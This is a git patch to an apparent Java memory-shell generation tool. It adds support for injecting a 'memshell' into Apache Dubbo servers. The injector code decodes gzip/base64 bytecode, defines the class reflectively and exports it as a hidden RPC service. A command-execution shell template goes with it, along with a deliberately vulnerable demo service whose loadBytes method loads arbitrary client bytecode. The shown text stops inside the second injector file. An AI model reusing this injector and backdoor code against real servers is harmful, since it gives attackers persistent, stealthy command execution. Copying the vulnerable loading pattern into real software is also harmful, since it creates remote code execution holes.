From 51b7e8e17fdc3ee7cd3ff78f562889a3058d83c3 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 21 Mar 2026 00:51:42 +0800 Subject: [PATCH] feat: support dubbo service memshell --- generator/build.gradle.kts | 1 + .../java/com/reajason/javaweb/Server.java | 1 + .../javaweb/memshell/MemShellGenerator.java | 22 +- .../javaweb/memshell/MemShellResult.java | 11 +- .../javaweb/memshell/ServerFactory.java | 2 + .../reajason/javaweb/memshell/ShellType.java | 2 + .../DubboServiceInterfaceHelperGenerator.java | 19 + .../WebSocketByPassHelperGenerator.java | 3 +- .../generator/command/CommandGenerator.java | 1 + .../injector/dubbo/DubboServiceInjector.java | 249 +++++++++++ .../javaweb/memshell/server/Dubbo.java | 13 + .../memshell/shelltool/ShellDubboService.java | 5 + .../command/CommandDubboService.java | 75 ++++ settings.gradle.kts | 1 + vul/vul-dubbo278/build.gradle.kts | 35 ++ .../vuldubbo278/DefaultDemoService.java | 43 ++ .../javaweb/vuldubbo278/DemoService.java | 10 + .../vuldubbo278/DubboServiceInjector.java | 154 +++++++ .../javaweb/vuldubbo278/ProbeClient.java | 128 ++++++ .../vuldubbo278/VulDubbo278Application.java | 17 + .../src/main/resources/application.properties | 15 + .../components/memshell/main-config-card.tsx | 4 +- .../memshell/results/basic-info.tsx | 69 +-- .../memshell/results/result-component.tsx | 41 ++ web/app/components/memshell/shell-result.tsx | 51 ++- .../components/memshell/tabs/command-tab.tsx | 59 +-- web/app/i18n/memshell/en.json | 1 + web/app/i18n/memshell/zh-CN.json | 1 + web/app/types/memshell.ts | 2 + web/bun.lock | 406 ++++++++++-------- web/package.json | 54 +-- web/vite.config.ts | 12 +- 32 files changed, 1233 insertions(+), 274 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java create mode 100644 vul/vul-dubbo278/build.gradle.kts create mode 100644 vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java create mode 100644 vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java create mode 100644 vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java create mode 100644 vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java create mode 100644 vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java create mode 100644 vul/vul-dubbo278/src/main/resources/application.properties diff --git a/generator/build.gradle.kts b/generator/build.gradle.kts index 8ff73039..4748871b 100644 --- a/generator/build.gradle.kts +++ b/generator/build.gradle.kts @@ -41,6 +41,7 @@ dependencies { implementation(libs.reactor.netty.core) implementation(libs.jackson.annotations) implementation(libs.bundles.jna) + implementation("org.apache.dubbo:dubbo:2.7.8") testImplementation(libs.junit.jupiter) testImplementation(libs.hamcrest) diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java index 035361af..b0ef32fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/Server.java @@ -21,4 +21,5 @@ public class Server { public static final String SpringWebFlux = "SpringWebFlux"; public static final String XXLJOB = "XXLJOB"; public static final String Struct2 = "Struct2"; + public static final String Dubbo = "Dubbo"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 32600cc5..3296db9a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.asm.ClassInterfaceUtils; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator; import com.reajason.javaweb.memshell.generator.InjectorGenerator; import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator; import com.reajason.javaweb.memshell.server.AbstractServer; @@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator; import com.reajason.javaweb.utils.CommonUtil; import org.apache.commons.codec.binary.Base64; import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.Strings; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -60,20 +63,31 @@ public class MemShellGenerator { byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); - injectorConfig.setInjectorClass(injectorClass); - injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); - injectorConfig.setShellClassBytes(shellBytes); + if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) { + String interfaceName = shellToolConfig.getShellClassName() + "$1"; + injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig)); + shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName); + String urlPattern = injectorConfig.getUrlPattern(); + if (Strings.CS.equalsAny(urlPattern, "/*", "/") + || StringUtils.isBlank(urlPattern)) { + injectorConfig.setUrlPattern(shellToolConfig.getShellClassName()); + } + } if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); } + injectorConfig.setInjectorClass(injectorClass); + injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); + injectorConfig.setShellClassBytes(shellBytes); + InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = injectorGenerator.generate(); if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) { ProbeConfig probeConfig = ProbeConfig.builder() - .shellClassName(injectorConfig.getInjectorClassName() + "1") + .shellClassName(injectorConfig.getInjectorClassName() + "Wrapper") .probeMethod(ProbeMethod.ResponseBody) .probeContent(ProbeContent.Bytecode) .targetJreVersion(shellConfig.getTargetJreVersion()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java index d60266d2..79365d4a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellResult.java @@ -32,6 +32,8 @@ public class MemShellResult { private transient Map injectorInnerClassBytes; private long injectorSize; private String injectorBytesBase64Str; + private String injectorHelperBytesBase64Str; + private long injectorHelperSize; private ShellConfig shellConfig; private ShellToolConfig shellToolConfig; private InjectorConfig injectorConfig; @@ -46,8 +48,15 @@ public class MemShellResult { injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes); injectorSize = injectorBytes.length; } + if (injectorConfig.getHelperClassBytes() != null) { + injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes()); + injectorHelperSize = injectorConfig.getHelperClassBytes().length; + + } return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, - injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); + injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, + injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize, + shellConfig, shellToolConfig, injectorConfig); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 34464794..012d87ce 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -47,6 +47,7 @@ public class ServerFactory { register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.XXLJOB, XxlJob::new); register(Server.Struct2, Struct2::new); + register(Server.Dubbo, Dubbo::new); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() .addShellClass(SERVLET, GodzillaServlet.class) @@ -162,6 +163,7 @@ public class ServerFactory { .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .addShellClass(ACTION, CommandStruct2Action.class) + .addShellClass(DUBBO_SERVICE, CommandDubboService.class) .build()); addToolMapping(ShellTool.Suo5, ToolMapping.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 487eff1a..be761efe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -49,5 +49,7 @@ public class ShellType { public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket"; public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET; + public static final String DUBBO_SERVICE = "DubboService"; + public static final String ACTION = "Action"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java new file mode 100644 index 00000000..e202015e --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/DubboServiceInterfaceHelperGenerator.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.memshell.generator; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.memshell.shelltool.ShellDubboService; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.dynamic.DynamicType; + +public class DubboServiceInterfaceHelperGenerator { + public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) { + try (DynamicType.Unloaded make = new ByteBuddy() + .redefine(ShellDubboService.class) + .name(interfaceName) + .make()) { + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java index 7b2d5eb3..b98533e9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java @@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve; -import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.lang3.tuple.Pair; @@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator { .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .field(named("headerName")).value(headerPair.getKey()) .field(named("headerValue")).value(headerPair.getValue()) - .name(CommonUtil.generateClassName()); + .name(shellToolConfig.getShellClassName() + "$1"); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index 34f5ec03..6aaf9c22 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.generator.command; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; +import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java new file mode 100644 index 00000000..421cbec1 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java @@ -0,0 +1,249 @@ +package com.reajason.javaweb.memshell.injector.dubbo; + +import org.apache.dubbo.common.bytecode.ClassGenerator; +import org.apache.dubbo.common.utils.ClassUtils; +import org.apache.dubbo.common.utils.NetUtils; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; +import org.apache.dubbo.config.ServiceConfigBase; +import org.apache.dubbo.config.context.ConfigManager; +import org.apache.dubbo.rpc.model.ApplicationModel; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; +import java.util.zip.GZIPInputStream; + +public class DubboServiceInjector { + private final Map> dynamicServices = new ConcurrentHashMap<>(); + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + public String getHelperBase64String() { + return "{{helperBase64String}}"; + } + + public DubboServiceInjector() { + if (ok) { + return; + } + try { + msg += registerService(); + } catch (Throwable e) { + msg += "unexcepted error: " + getErrorMessage(e); + } + ok = true; + System.out.println(msg); + } + + private Class getShell(String base64String) throws Exception { + ClassLoader classLoader = ClassUtils.getClassLoader(ClassGenerator.class); + Class clazz = null; + try { + clazz = classLoader.loadClass(getClassName()); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(base64String)); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", + String.class, byte[].class, int.class, int.class, java.security.ProtectionDomain.class); + defineClass.setAccessible(true); + clazz = (Class) defineClass.invoke(classLoader, null, clazzByte, 0, clazzByte.length, + ClassGenerator.class.getProtectionDomain()); + registerInJavassistClassPool(classLoader, clazzByte); + } + msg += "[" + classLoader.getClass().getName() + "] "; + return clazz; + } + + private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) { + try { + Object pool = ClassGenerator.getClassPool(classLoader); + pool.getClass().getMethod("makeClass", java.io.InputStream.class) + .invoke(pool, new ByteArrayInputStream(classBytes)); + } catch (Throwable ignored) { + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + public String registerService() throws Throwable { + String normalizedPath = normalizePath(getUrlPattern()); + if (normalizedPath.isEmpty()) { + throw new IllegalArgumentException("path must not be empty"); + } + + if (dynamicServices.containsKey(normalizedPath)) { + return resolveServiceAddresses(normalizedPath); + } + + if (isPathRegisteredInFramework(normalizedPath)) { + return resolveServiceAddresses(normalizedPath); + } + Class interfaceClass = getShell(getHelperBase64String()); + Class implementationClass = getShell(getBase64String()); + validateServiceTypes(interfaceClass, implementationClass); + + Object serviceInstance = instantiate(implementationClass); + ServiceConfig serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance); + ServiceConfig previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig); + if (previous != null) { + return resolveServiceAddresses(normalizedPath); + } + + try { + serviceConfig.export(); + return resolveServiceAddresses(normalizedPath); + } catch (RuntimeException e) { + dynamicServices.remove(normalizedPath, serviceConfig); + throw e; + } + } + + private boolean isPathRegisteredInFramework(String path) { + Collection services = ApplicationModel.getConfigManager().getServices(); + return services.stream().anyMatch(s -> path.equals(s.getPath())); + } + + private String normalizePath(String path) { + if (path == null) { + return ""; + } + String normalized = path.trim(); + while (normalized.startsWith("/")) { + normalized = normalized.substring(1); + } + return normalized; + } + + private void validateServiceTypes(Class interfaceClass, Class implementationClass) { + if (!interfaceClass.isInterface()) { + throw new IllegalArgumentException("not an interface: " + interfaceClass.getName()); + } + if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) { + throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName()); + } + if (!interfaceClass.isAssignableFrom(implementationClass)) { + throw new IllegalArgumentException(implementationClass.getName() + + " does not implement " + interfaceClass.getName()); + } + } + + private Object instantiate(Class implementationClass) { + try { + Constructor constructor = implementationClass.getDeclaredConstructor(); + constructor.setAccessible(true); + return constructor.newInstance(); + } catch (ReflectiveOperationException e) { + throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e); + } + } + + @SuppressWarnings({"rawtypes", "unchecked"}) + private ServiceConfig createServiceConfig(String path, Class interfaceClass, Object serviceInstance) { + ConfigManager configManager = ApplicationModel.getConfigManager(); + + ServiceConfig serviceConfig = new ServiceConfig(); + serviceConfig.setInterface(interfaceClass); + serviceConfig.setRef(serviceInstance); + serviceConfig.setPath(path); + serviceConfig.setVersion("1.0.0"); + serviceConfig.setApplication(configManager.getApplication().orElse(null)); + + List protocols = new ArrayList<>(configManager.getDefaultProtocols()); + if (protocols.isEmpty()) { + protocols = new ArrayList<>(configManager.getProtocols()); + } + serviceConfig.setProtocols(protocols); + + List registries = new ArrayList<>(configManager.getDefaultRegistries()); + if (registries.isEmpty()) { + registries = new ArrayList<>(configManager.getRegistries()); + } + serviceConfig.setRegistries(registries); + + return serviceConfig; + } + + private String resolveServiceAddresses(String path) { + ConfigManager configManager = ApplicationModel.getConfigManager(); + List protocols = configManager.getDefaultProtocols(); + if (protocols.isEmpty()) { + protocols = new ArrayList<>(configManager.getProtocols()); + } + if (protocols.isEmpty()) { + return path; + } + String localHost = NetUtils.getLocalHost(); + return protocols.stream() + .map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path)) + .collect(Collectors.joining(", ")); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java new file mode 100644 index 00000000..ee475e84 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Dubbo.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.memshell.server; + +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.injector.dubbo.DubboServiceInjector; + +public class Dubbo extends AbstractServer { + @Override + public InjectorMapping getShellInjectorMapping() { + return InjectorMapping.builder() + .addInjector(ShellType.DUBBO_SERVICE, DubboServiceInjector.class) + .build(); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java new file mode 100644 index 00000000..024fab6c --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/ShellDubboService.java @@ -0,0 +1,5 @@ +package com.reajason.javaweb.memshell.shelltool; + +public interface ShellDubboService { + byte[] handle(byte[] bytes); +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java new file mode 100644 index 00000000..e7c4502f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandDubboService.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.util.Scanner; + +public class CommandDubboService { + + public byte[] handle(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + return new byte[0]; + } + String p = new String(bytes); + String param = getParam(p); + try { + InputStream inputStream = getInputStream(param); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); + return outputStream.toByteArray(); + } catch (Exception e) { + return getErrorMessage(e).getBytes(); + } + } + + private String getParam(String param) { + return param; + } + + private InputStream getInputStream(String param) throws Exception { + return null; + } + + @SuppressWarnings("all") + public Object unwrap(Object obj, String fieldName) { + try { + return getFieldValue(obj, fieldName); + } catch (Throwable e) { + return obj; + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/settings.gradle.kts b/settings.gradle.kts index 06dfe406..4de6e073 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -34,6 +34,7 @@ include("boot") include("generator") include("thirdparty:thirdparty-tomcat") include("integration-test") +include("vul:vul-dubbo278") include("vul:vul-webapp") include("vul:vul-webapp-jakarta") include("vul:vul-webapp-expression") diff --git a/vul/vul-dubbo278/build.gradle.kts b/vul/vul-dubbo278/build.gradle.kts new file mode 100644 index 00000000..dad4c011 --- /dev/null +++ b/vul/vul-dubbo278/build.gradle.kts @@ -0,0 +1,35 @@ +plugins { + id("org.springframework.boot") version "2.7.6" + id("io.spring.dependency-management") version "1.0.15.RELEASE" + id("java") +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + targetCompatibility = JavaVersion.VERSION_1_8 + sourceCompatibility = JavaVersion.VERSION_1_8 +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter") + implementation("org.apache.dubbo:dubbo-spring-boot-starter:2.7.8") + implementation("com.caucho:hessian:4.0.38") + implementation("javax.servlet:javax.servlet-api:4.0.1") + implementation("org.eclipse.jetty:jetty-server") + implementation("org.eclipse.jetty:jetty-servlet") + implementation("commons-io:commons-io:2.19.0") + implementation("net.bytebuddy:byte-buddy:1.10.10") + testImplementation("org.springframework.boot:spring-boot-starter-test") { + exclude(group = "org.mockito") + } + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java new file mode 100644 index 00000000..51b00268 --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java @@ -0,0 +1,43 @@ +package com.reajason.javaweb.vuldubbo278; + +import org.apache.dubbo.common.bytecode.ClassGenerator; +import org.apache.dubbo.common.utils.ClassUtils; +import org.apache.dubbo.config.annotation.DubboService; +import org.springframework.beans.factory.annotation.Value; + +@DubboService(version = "1.0.0", path = "demo_say_hello") +public class DefaultDemoService extends ClassLoader implements DemoService { + + private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector(); + + /** + * The default value of ${dubbo.application.name} is ${spring.application.name} + */ + @Value("${dubbo.application.name}") + private String serviceName; + + public DefaultDemoService() { + super(Thread.currentThread().getContextClassLoader()); + } + + public String sayHello(String name) { + return String.format("[%s] : Hello, %s", serviceName, name); + } + + @Override + public String loadBytes(byte[] bytes) { + Class aClass = defineClass(bytes, 0, bytes.length); + Object o = null; + try { + o = aClass.newInstance(); + } catch (Exception e) { + e.printStackTrace(); + } + return o.toString(); + } + + @Override + public String registerService(String path, String interfaceClassName, String implementationClassName) { + return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName); + } +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java new file mode 100644 index 00000000..0cd1e555 --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vuldubbo278; + +public interface DemoService { + + String sayHello(String name); + + String loadBytes(byte[] bytes); + + String registerService(String path, String interfaceClassName, String implementationClassName); +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java new file mode 100644 index 00000000..4fc31845 --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java @@ -0,0 +1,154 @@ +package com.reajason.javaweb.vuldubbo278; + +import org.apache.dubbo.common.utils.NetUtils; +import org.apache.dubbo.config.ProtocolConfig; +import org.apache.dubbo.config.RegistryConfig; +import org.apache.dubbo.config.ServiceConfig; +import org.apache.dubbo.config.ServiceConfigBase; +import org.apache.dubbo.config.context.ConfigManager; +import org.apache.dubbo.rpc.model.ApplicationModel; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.lang.reflect.Constructor; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +public class DubboServiceInjector { + private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class); + + private final Map> dynamicServices = new ConcurrentHashMap<>(); + + public String registerService(String path, String interfaceClassName, String implementationClassName) { + String normalizedPath = normalizePath(path); + if (normalizedPath.isEmpty()) { + throw new IllegalArgumentException("path must not be empty"); + } + + if (dynamicServices.containsKey(normalizedPath)) { + String addresses = resolveServiceAddresses(normalizedPath); + logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses); + return addresses; + } + + if (isPathRegisteredInFramework(normalizedPath)) { + String addresses = resolveServiceAddresses(normalizedPath); + logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses); + return addresses; + } + + Class interfaceClass = loadLocalClass(interfaceClassName); + Class implementationClass = loadLocalClass(implementationClassName); + validateServiceTypes(interfaceClass, implementationClass); + + Object serviceInstance = instantiate(implementationClass); + ServiceConfig serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance); + ServiceConfig previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig); + if (previous != null) { + return resolveServiceAddresses(normalizedPath); + } + + try { + serviceConfig.export(); + String addresses = resolveServiceAddresses(normalizedPath); + logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses); + return addresses; + } catch (RuntimeException e) { + dynamicServices.remove(normalizedPath, serviceConfig); + throw e; + } + } + + private boolean isPathRegisteredInFramework(String path) { + Collection services = ApplicationModel.getConfigManager().getServices(); + return services.stream().anyMatch(s -> path.equals(s.getPath())); + } + + private String normalizePath(String path) { + if (path == null) { + return ""; + } + String normalized = path.trim(); + while (normalized.startsWith("/")) { + normalized = normalized.substring(1); + } + return normalized; + } + + private Class loadLocalClass(String className) { + try { + return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); + } catch (ClassNotFoundException e) { + throw new IllegalArgumentException("class not found on local classpath: " + className, e); + } + } + + private void validateServiceTypes(Class interfaceClass, Class implementationClass) { + if (!interfaceClass.isInterface()) { + throw new IllegalArgumentException("not an interface: " + interfaceClass.getName()); + } + if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) { + throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName()); + } + if (!interfaceClass.isAssignableFrom(implementationClass)) 